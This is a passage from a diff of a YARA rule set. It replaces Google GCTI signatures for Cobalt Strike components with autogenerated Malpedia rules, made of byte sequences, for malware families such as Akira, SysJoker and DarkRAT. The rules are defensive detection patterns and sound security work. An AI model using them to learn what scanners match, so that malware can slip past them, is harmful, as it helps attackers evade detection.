+		$sequence_22 = { 83c40c 8b4508 8b7dfc 8be5 5d c3 33c0 }
+		$sequence_23 = { e8???????? 6a00 8d44242c 50 6a00 683f000f00 6a00 }
+		$sequence_24 = { 51 ffd6 85c0 7444 }
 
 	condition:
-		all of them and @vars[1]<@res[1] and @allocstuff[1]<@rwxpage[1]
+		7 of them and filesize <811008
 }
-rule GCTI_Cobaltstrike_Resources_Template_Py_V3_3_To_V4_X
+rule MALPEDIA_Win_Excalibur_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/template.py signature for versions v3.3 to v4.x"
-		author = "gssincla@google.com"
-		id = "16aef9a9-b217-5462-93dc-f6273c99ddd0"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Py_v3_3_to_v4_x.yara#L17-L36"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "d5cb406bee013f51d876da44378c0a89b7b3b800d018527334ea0c5793ea4006"
-		logic_hash = "3c26cea4b8f2b200bf58e939ae9ead7a7339d4ec0de8c72b3d9c7da897600081"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "2f6333bc-c895-5bb8-bab8-691e82e18cbb"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.excalibur"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.excalibur_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "2c11504edbec5bcce0250be14d19518961ccd4df7434fa2cf5c1fc07833012b8"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$arch = "platform.architecture()"
-		$nope = "WindowsPE"
-		$alloc = "ctypes.windll.kernel32.VirtualAlloc"
-		$movemem = "ctypes.windll.kernel32.RtlMoveMemory"
-		$thread = "ctypes.windll.kernel32.CreateThread"
-		$wait = "ctypes.windll.kernel32.WaitForSingleObject"
+		$sequence_0 = { 50 c745fc00000000 e8???????? c645fc01 8bbdece5ffff 8b9dd8e5ffff 8d8dd8e5ffff }
+		$sequence_1 = { 884c241f b90f000000 c644242000 0f57c0 660fd6442420 8d442420 83f910 }
+		$sequence_2 = { 50 e8???????? 8b55e4 83c40c 6bd230 8d8210074400 8945e4 }
+		$sequence_3 = { 7514 8b4738 8b4f3c 8902 8b471c 8908 8b472c }
+		$sequence_4 = { 99 2bc2 8b5508 d1f8 2b14c5605f4300 7413 85d2 }
+		$sequence_5 = { 80b86004440000 74e9 8b5ddc 0fb606 0fbe8060044400 85c0 7510 }
+		$sequence_6 = { 6689141e 8945f8 46 03f6 0fb7141e 81ff00000001 7314 }
+		$sequence_7 = { c645fc01 8bbdece5ffff 8b9dd8e5ffff 8d8dd8e5ffff 83ff10 0f43cb 6a00 }
+		$sequence_8 = { 8bb540e5ffff e9???????? 8bb540e5ffff e9???????? 8b8530e5ffff 8b0485c0324400 f644060480 }
+		$sequence_9 = { 8975fc 8b45e0 8b0485c0324400 f644030401 7428 57 e8???????? }
 
 	condition:
-		all of them
+		7 of them and filesize <1253376
 }
-rule GCTI_Cobaltstrike_Resources_Smbstager_Bin_V2_5_Through_V4_X
+rule MALPEDIA_Win_Akira_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/smbstager.bin signature for versions 2.5 to 4.x"
-		author = "gssincla@google.com"
-		id = "074b7d83-e3d8-541c-804b-2417c21f54d5"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Smbstager_Bin_v2_5_through_v4_x.yara#L17-L95"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "946af5a23e5403ea1caccb2e0988ec1526b375a3e919189f16491eeabc3e7d8c"
-		logic_hash = "b0f6535069df16a64de44ca0638ec060c1ff264a7820c94710d61ca7e8474450"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "5047b686-dc46-5a3e-aa74-fc92a34b0f3e"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.akira_auto.yar#L1-L133"
+		license_url = "N/A"
+		logic_hash = "c1ae7dbc4a382b6e7a49f30242c48e32f0bd119ae1ed5e26b8c812d114457836"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$apiLocator = {
-			31 ??
-			AC
-			C1 ?? 0D
-			01 ??
-			38 ??
-			75 ??
-			03 [2]
-			3B [2]
-			75 ??
-			5?
-			8B ?? 24
-			01 ??
-			66 8B [2]
-			8B ?? 1C
-			01 ??
-			8B ?? 8B
-			01 ??
-			89 [3]
-			5?
-			5?
-		}
-		$smb = { 68 C6 96 87 52 }
-		$smbstart = {
-			6A 40
-			68 00 10 00 00
-			68 FF FF 07 00
-			6A 00
-			68 58 A4 53 E5
-		}
+		$sequence_0 = { 8b01 85c0 7e18 ffc8 8901 498b4840 488b11 }
+		$sequence_1 = { 418bc9 83c902 41f6c108 410f44c9 81e13bffffff 390d???????? 741d }
+		$sequence_2 = { 90 488b4b60 48894c2430 4885c9 7445 488b5370 4889542440 }
+		$sequence_3 = { 7cee 488bcb 488b5c2430 4883c420 5f e9???????? 0fb6043b }
+		$sequence_4 = { ff5208 90 488b4b60 48894c2430 4885c9 7445 488b5370 }
+		$sequence_5 = { e8???????? 488975d0 488b4dd8 488975d8 48894808 0f1045e0 0f114010 }
+		$sequence_6 = { 4488443c6e 48ffc7 4883ff0a 72ac 0f57c0 0f118590020000 0f57c9 }
+		$sequence_7 = { 740a e8???????? 488bd8 eb03 498bdd 49897e18 }
+		$sequence_8 = { e8???????? 33f6 41897578 49397568 744d 488b0f 40387128 }
+		$sequence_9 = { c645bf01 4883ef01 75b4 0f2845bf 33ff 4c8d75cf 48837de710 }
 
 	condition:
-		$apiLocator and $smb and $smbstart
+		7 of them and filesize <1286144
 }
-rule GCTI_Cobaltstrike_Resources_Bypassuactoken_X64_Dll_V3_11_To_V3_14
+rule MALPEDIA_Win_Sysjoker_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/bypassuactoken.x64.dll from v3.11 to v3.14 (64-bit version)"
-		author = "gssincla@google.com"
-		id = "c89befcd-a622-5947-9ce3-a6031901a45a"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Bypassuactoken_x64_Dll_v3_11_to_v3_14.yara#L17-L118"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "853068822bbc6b1305b2a9780cf1034f5d9d7127001351a6917f9dbb42f30d67"
-		logic_hash = "adfd212f2e470f666ab8a2168e976c11d3032c31dab7cf56963dae5fc0f6c5f9"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "42bbdbb2-321a-5c06-b4e0-64934ffdbef1"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sysjoker"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sysjoker_auto.yar#L1-L129"
+		license_url = "N/A"
+		logic_hash = "272a60e5cac852c8fc52dd28ee7d3d45f227ab0f82269e4ab7d14e4de95e70fb"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$isHighIntegrityProcess = {
-			83 ?? 7A
-			75 ??
-			8B [3]
-			33 ??
-			FF 15 [4]
-			44 [4]
-			8D [2]
-			48 8B ??
-			48 8D [3]
-			48 8B ??
-			4C 8B ??
-			48 89 [3]
-			FF 15 [4]
-			85 C0
-			74 ??
-			48 8B ??
-			FF 15 [4]
-			8D [2]
-			8A ??
-			40 [2]
-			0F B6 D1
-			48 8B 0F
-			FF 15 [4]
-			81 ?? 00 30 00 00
-		}
-		$executeTaskmgr = {
-			44 8D ?? 70
-			48 8D [3]
-			E8 [4]
-			83 [3] 00
-			48 8D [5]
-			0F 57 ??
-			66 0F 7F [3]
-			48 89 [3]
-			48 8D [5]
-			48 8D [3]
-			C7 [3] 70 00 00 00
-			C7 [3] 40 00 00 00
-			48 89 [3]
-			FF 15
-		}
+		$sequence_0 = { 50 e8???????? 837de400 7416 }
+		$sequence_1 = { c746140f000000 c60600 e8???????? c7461060000000 8d4dd4 c746146f000000 0f1005???????? }
+		$sequence_2 = { ffd6 e9???????? 8bb5a8efffff 85f6 0f84ce000000 6808020000 8d85e8fdffff }
+		$sequence_3 = { 8d4dac e8???????? 8d4dc8 e8???????? 8d8d74ffffff c645fc1b e8???????? }
+		$sequence_4 = { 8bc2 b9ffffff7f 83c80f 3dffffff7f 0f47c1 894584 40 }
+		$sequence_5 = { 7cd5 33db 395d90 7650 0f1f4000 660f1f840000000000 83bd78ffffff10 }
+		$sequence_6 = { 6a02 68???????? e8???????? 8b8534efffff 83c618 8b8d4cefffff 40 }
+		$sequence_7 = { e8???????? 83c404 8b8780000000 33f6 89b534efffff }
+		$sequence_8 = { 6a01 8bce e8???????? 84c0 0f84c2feffff e9???????? 8b4778 }
+		$sequence_9 = { e8???????? 83c010 8906 51 c645fc25 8bf4 89b508fdffff }
 
 	condition:
-		all of them
+		7 of them and filesize <832512
 }
-rule GCTI_Cobaltstrike_Resources_Template_Sct_V3_3_To_V4_X
+rule MALPEDIA_Win_Carrotbat_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/template.sct signature for versions v3.3 to v4.x"
-		author = "gssincla@google.com"
-		id = "9d2b1dfa-5f76-503f-9198-6ed0d039e0cb"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Template_Sct_v3_3_to_v4_x.yara#L17-L38"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "fc66cb120e7bc9209882620f5df7fdf45394c44ca71701a8662210cf3a40e142"
-		logic_hash = "8868445ced4945c469764b7f311d6cb11c99cf0f2d770113e5e617e0187a962c"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "b4eb53a6-f964-58c0-a140-244bef4847cc"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.carrotbat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.carrotbat_auto.yar#L1-L121"
+		license_url = "N/A"
+		logic_hash = "c457876e0174827e0c750e3be442dfc99dddf6a42b624668fe26e525a3bccc83"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$scriptletstart = "<scriptlet>" nocase
-		$registration = "<registration progid=" nocase
-		$classid = "classid=" nocase
-		$scriptlang = "<script language=\"vbscript\">" nocase
-		$cdata = "<![CDATA["
-		$scriptend = "</script>" nocase
-		$antiregistration = "</registration>" nocase
-		$scriptletend = "</scriptlet>"
+		$sequence_0 = { 8b7c2404 66c1c60c 8b742408 f6d7 33cd f7d3 }
+		$sequence_1 = { 8f442434 51 887c2404 66890424 890424 }
+		$sequence_2 = { 8b0c8d20ee4000 8d440104 8020fe ff36 e8???????? 59 }
+		$sequence_3 = { c3 8bff 56 57 33f6 bf???????? 833cf5a4d5400001 }
+		$sequence_4 = { 8b0c8d20ee4000 c1e006 8d440104 8020fe ff36 }
+		$sequence_5 = { c1f805 8d3c8520ee4000 8bf3 83e61f c1e606 8b07 0fbe440604 }
+		$sequence_6 = { 888c05f4fdffff 40 84c9 75ed 8d85f8feffff 6a5c }
+		$sequence_7 = { 50 66a5 ff15???????? 6810270000 ff15???????? }
+		$sequence_8 = { 5b c21000 ff25???????? c705????????6ca14000 }
+		$sequence_9 = { 8f442434 9c 57 ff74243c c24000 686d3f4f6e }
 
 	condition:
-		all of them and @scriptletstart[1]<@registration[1] and @registration[1]<@classid[1] and @classid[1]<@scriptlang[1] and @scriptlang[1]<@cdata[1]
+		7 of them and filesize <360448
 }
-rule GCTI_Cobaltstrike_Resources_Browserpivot_X64_Bin_V1_48_To_V3_14_And_Sleeve_Browserpivot_X64_Dll_V4_0_To_V4_X
+rule MALPEDIA_Win_Acehash_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/browserpivot.x64.bin from v1.48 to v3.14 and sleeve/browserpivot.x64.dll from v4.0 to at least v4.4"
-		author = "gssincla@google.com"
-		id = "a5dfae85-ff9c-5ca5-9ac0-041c6108a6ed"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Browserpivot_x64_Bin_v1_48_to_v3_14_and_Sleeve_Browserpivot_x64_Dll_v4_0_to_v4_x.yara#L17-L64"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "0ad32bc4fbf3189e897805cec0acd68326d9c6f714c543bafb9bc40f7ac63f55"
-		logic_hash = "a59f19b6e258b724ed88b4255717d066319ba5fb0838d6c6ed11355e9d9b1c22"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "14f9c3a4-6e4e-554e-b1b7-7826b028e7e0"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.acehash"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.acehash_auto.yar#L1-L130"
+		license_url = "N/A"
+		logic_hash = "a82974d1f4758bd3335b7cc99825d249f1ec423d226c32410d6047b493cb8d39"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$socket_recv = {
-			FF 15 [4]
-			83 ?? FF
-			74 ??
-			85 ??
-			74 ??
-			03 ??
-			83 ?? 02
-			72 ??
-			8D ?? FF
-			80 [2] 0A
-			75 ??
-			8D ?? FE
-			80 [2] 0D
-		}
-		$fmt = "%1024[^ ] %8[^:]://%1016[^/]%7168[^ ] %1024[^ ]"
+		$sequence_0 = { 4885c0 7420 488d1599dc0200 488bcb ff15???????? 488bc8 }
+		$sequence_1 = { 85c0 0f85e6000000 4c8b470c 488b55d0 488b4f04 ff15???????? 8bd8 }
+		$sequence_2 = { 488b7d98 8b742440 8b542458 41bb00020000 4c8d0d4e23feff 448a3f 4584ff }
+		$sequence_3 = { 7510 b810000000 488b5c2430 4883c420 5f c3 4885db }
+		$sequence_4 = { 85ff 0f8513ffffff 33c0 4c8b642450 4c8b6c2458 488b5c2460 4883c430 }
+		$sequence_5 = { 442b8486a0e10300 4533d8 83bf800000000a 0f863c010000 8b4730 8b4f70 458d0c03 }
+		$sequence_6 = { 8bc3 483bd0 0f871a050000 4c8d151995fdff 4403f2 4b8b8ceaa0511100 8a443108 }
+		$sequence_7 = { 8bfd 66895802 410fb78704100000 0fbfcb }
+		$sequence_8 = { 7cda 440fbf4302 418bd4 488bce 468d048508000000 e8???????? 488d0d33240300 }
+		$sequence_9 = { 48833d????????00 488d0581900300 740f 3908 740e 4883c010 4883780800 }
 
 	condition:
-		all of them
+		7 of them and filesize <2318336
 }
-rule GCTI_Cobaltstrike_Resources_Artifact32_And_Resources_Dropper_V1_49_To_V3_14
+rule MALPEDIA_Win_Unidentified_106_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/artifact32{.exe,.dll,big.exe,big.dll} and resources/dropper.exe signature for versions 1.49 to 3.14"
-		author = "gssincla@google.com"
-		id = "243e3761-cbea-561c-97da-f6ba12ebc7ee"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L17-L32"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "40fc605a8b95bbd79a3bd7d9af73fbeebe3fada577c99e7a111f6168f6a0d37a"
-		logic_hash = "437706c808bca28384a6e8e24fa3ae120a4ebe4166fa4ca3564c58b881fb23a8"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "149fd261-d790-5329-9f62-f83b72c17c68"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_106"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.unidentified_106_auto.yar#L1-L134"
+		license_url = "N/A"
+		logic_hash = "b7794c4f304d97457540366e3546931a6b0930939bfed6f5754198d0fc46abff"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$payloadDecoder = { 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 18 8B [2] 89 ?? C1 ?? 1F C1 ?? 1E 01 ?? 83 ?? 03 29 ?? 03 [2] 0F B6 00 31 ?? 88 ?? 8B [2] 89 ?? 03 [2] 8B [2] 03 [2] 0F B6 12 }
+		$sequence_0 = { 8bc2 3bd5 7d14 2bea 33d2 448bc5 49c1e002 }
+		$sequence_1 = { d0250000ffff 3d00000d00 740e 8b4b04 53 e8???????? 413bc7 }
+		$sequence_2 = { e8???????? 488b8bf8000000 4889bbf0000000 e8???????? 488b8b00010000 4889bbf8000000 e8???????? }
+		$sequence_3 = { e8???????? e8???????? 8bc8 b881808080 f7e9 03d1 c1fa07 }
+		$sequence_4 = { 8bc1 418d140e 4803c6 41b800100000 66440b833c040000 4889442438 8bc2 }
+		$sequence_5 = { a806 0f85cf020000 bafbff0000 6623c2 6683c802 66898108030000 33c0 }
+		$sequence_6 = { 488d442448 4889442428 4c8bcb 488d442430 418bd7 498bce 4889442420 }
+		$sequence_7 = { e8???????? 85c0 7920 488b0f 488d5710 4885d2 0f8454fbffff }
+		$sequence_8 = { e9???????? 498b5f08 be02000000 440fb7f5 4d03f3 4180fc06 7508 }
+		$sequence_9 = { 90 eb02 eb00 498bc4 488b5c2478 488bac2480000000 4883c440 }
 
 	condition:
-		any of them
+		7 of them and filesize <27402240
 }
-rule GCTI_Cobaltstrike_Resources_Artifact32_V3_1_And_V3_2
+rule MALPEDIA_Win_Beatdrop_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/artifact32{.dll,.exe,svc.exe,big.exe,big.dll,bigsvc.exe} and resources/artifact32uac(alt).dll signature for versions 3.1 and 3.2"
-		author = "gssincla@google.com"
-		id = "4fff7f42-9f50-5945-8ec0-2438ac5c7000"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L34-L60"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "4f14bcd7803a8e22e81e74d6061d0df9e8bac7f96f1213d062a29a8523ae4624"
-		logic_hash = "7a0d33d0260c762b4aa67e4084d7474338c60aa684fd3e622614745d90350da8"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "b3142cf9-1fa2-58bd-9f49-d91bf2cf24b1"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.beatdrop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.beatdrop_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "171eb025ab1384be132ed16b4793a3dd033a6c86c2974208fbbb41bec30e49af"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$decoderFunc = { 89 ?? B? 04 00 00 00 99 F7 FF 8B [2] 8A [2] 30 ?? 8A ?? 4? 88 }
+		$sequence_0 = { e8???????? 4c89f1 e8???????? 4c8d0571aaffff }
+		$sequence_1 = { 4733bc84000c0000 4189c1 4589f0 41c1e918 4433bebc000000 41c1e810 }
+		$sequence_2 = { 0fb6c0 413394b5000c0000 c1eb18 33552c 4133948500040000 4489c0 }
+		$sequence_3 = { 4189d3 0fb6ce 41c1e818 41c1eb18 478b4c8500 4589f8 438b5c9d00 }
+		$sequence_4 = { 4189d3 c1ea18 41c1eb10 335e78 418b1494 4333948c000c0000 450fb6db }
+		$sequence_5 = { 4489cb 334610 41c1eb18 450fb6d2 0fb6df 4333849400040000 }
+		$sequence_6 = { 41c1e818 4189cf 4489d1 478b0484 4733848c000c0000 4589d1 }
+		$sequence_7 = { 488b3d???????? 89d8 4989ce 4989d5 488b0d???????? 4c89c6 4c89cd }
+		$sequence_8 = { 498344241010 eb11 498d4c2408 e8???????? eb05 49ff442418 }
+		$sequence_9 = { e8???????? 4885c0 752c 4c8b4b08 41b813000000 }
 
 	condition:
-		all of them
+		7 of them and filesize <584704
 }
-rule GCTI_Cobaltstrike_Resources_Artifact32_V3_14_To_V4_X
+rule MALPEDIA_Win_Darkrat_Auto : FILE
 {
 	meta:
-		description = "Cobalt Strike's resources/artifact32{.dll,.exe,big.exe,big.dll,bigsvc.exe} signature for versions 3.14 to 4.x and resources/artifact32svc.exe for 3.14 to 4.x and resources/artifact32uac.dll for v3.14 and v4.0"
-		author = "gssincla@google.com"
-		id = "8a010305-dce5-55f4-b2dd-a736721efe22"
-		date = "2022-11-18"
-		modified = "2022-11-19"
-		reference = "https://cloud.google.com/blog/products/identity-security/making-cobalt-strike-harder-for-threat-actors-to-abuse"
-		source_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/YARA/CobaltStrike/CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara#L62-L89"
-		license_url = "https://github.com/chronicle/GCTI/blob/1c5fd42b1895098527fde00c2d9757edf6b303bb/LICENSE"
-		hash = "888bae8d89c03c1d529b04f9e4a051140ce3d7b39bc9ea021ad9fc7c9f467719"
-		logic_hash = "fc5c353c568e33df80fa5bab14d11112ca211e269043b83dba8b7d1a6a008a7b"
+		description = "autogenerated rule brought to you by yara-signator"
+		author = "Felix Bilstein - yara-signator at cocacoding dot com"
+		id = "73555b6d-cd36-53aa-b241-54638d6391a7"
+		date = "2023-12-06"
+		modified = "2023-12-08"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.darkrat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.darkrat_auto.yar#L1-L124"
+		license_url = "N/A"
+		logic_hash = "e98d828b961bffb4ad606aad50a055367532a60432b86ca76a8c360da1aac44b"
 		score = 75
-		quality = 85
-		tags = ""
+		quality = 75
+		tags = "FILE"
+		version = "1"
+		tool = "yara-signator v0.6.0"
+		signator_config = "callsandjumps;datarefs;binvalue"
+		malpedia_rule_date = "20231130"
+		malpedia_hash = "fc8a0e9f343f6d6ded9e7df1a64dac0cc68d7351"
+		malpedia_version = "20230808"
+		malpedia_license = "CC BY-SA 4.0"
+		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$pushFmtStr = {	C7 [3] 5C 00 00 00 C7 [3] 65 00 00 00 C7 [3] 70 00 00 00 C7 [3] 69 00 00 00 C7 [3] 70 00 00 00 F7 F1 C7 [3] 5C 00 00 00  C7 [3] 2E 00 00 00 C7 [3] 5C 00 00 00 }
-		$fmtStr = "%c%c%c%c%c%c%c%c%cMSSE-%d-server"
+		$sequence_0 = { 837de810 895510 8b4804 8d45d4 0f4345d4 2975b4 }
+		$sequence_1 = { 51 03f8 52 57 e8???????? 8b45c8 83c40c }
+		$sequence_2 = { 51 56 e8???????? 83c40c c6043e00 eb17 57 }
+		$sequence_3 = { 8b7dd4 0f8514ffffff 8b55ec 83fa10 }
+		$sequence_4 = { 8bd0 b805000000 2bd6 8a0e 8d7601 884c32ff 83e801 }
+		$sequence_5 = { e8???????? 83c408 c745e800000000 8d4dd8 }
+		$sequence_6 = { 0b510c 52 e8???????? c745fc04000000 e8???????? 84c0 7507 }
+		$sequence_7 = { 83c408 c745e800000000 8d4dd8 c745ec0f000000 c645d800 }
+		$sequence_8 = { ff75d0 51 8bcb e8???????? 8b75b8 c645fc01 }
+		$sequence_9 = { 895510 8b4804 8d45d4 0f4345d4 2975b4 03c6 ff75b4 }
 
 	condition:
-		all of them
+		7 of them and filesize <884736
 }
-/*
- * YARA Rule Set
- * Repository Name: Malpedia
- * Repository: https://github.com/malpedia/signator-rules/
- * Retrieval Date: 2024-08-04
- * Git Commit: fbacfc09b84d53d410385e66a8e56f25016c588a
- * Number of Rules: 1382
- * Skipped: 0 (age), 15 (quality), 0 (score), 0 (importance)
- *
- *
- * LICENSE
- *
- * NO LICENSE SET
- */
-rule MALPEDIA_Win_Thanatos_Ransom_Auto : FILE
+rule MALPEDIA_Win_Vawtrak_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "fa527852-1102-5288-af99-f970a4826a1e"
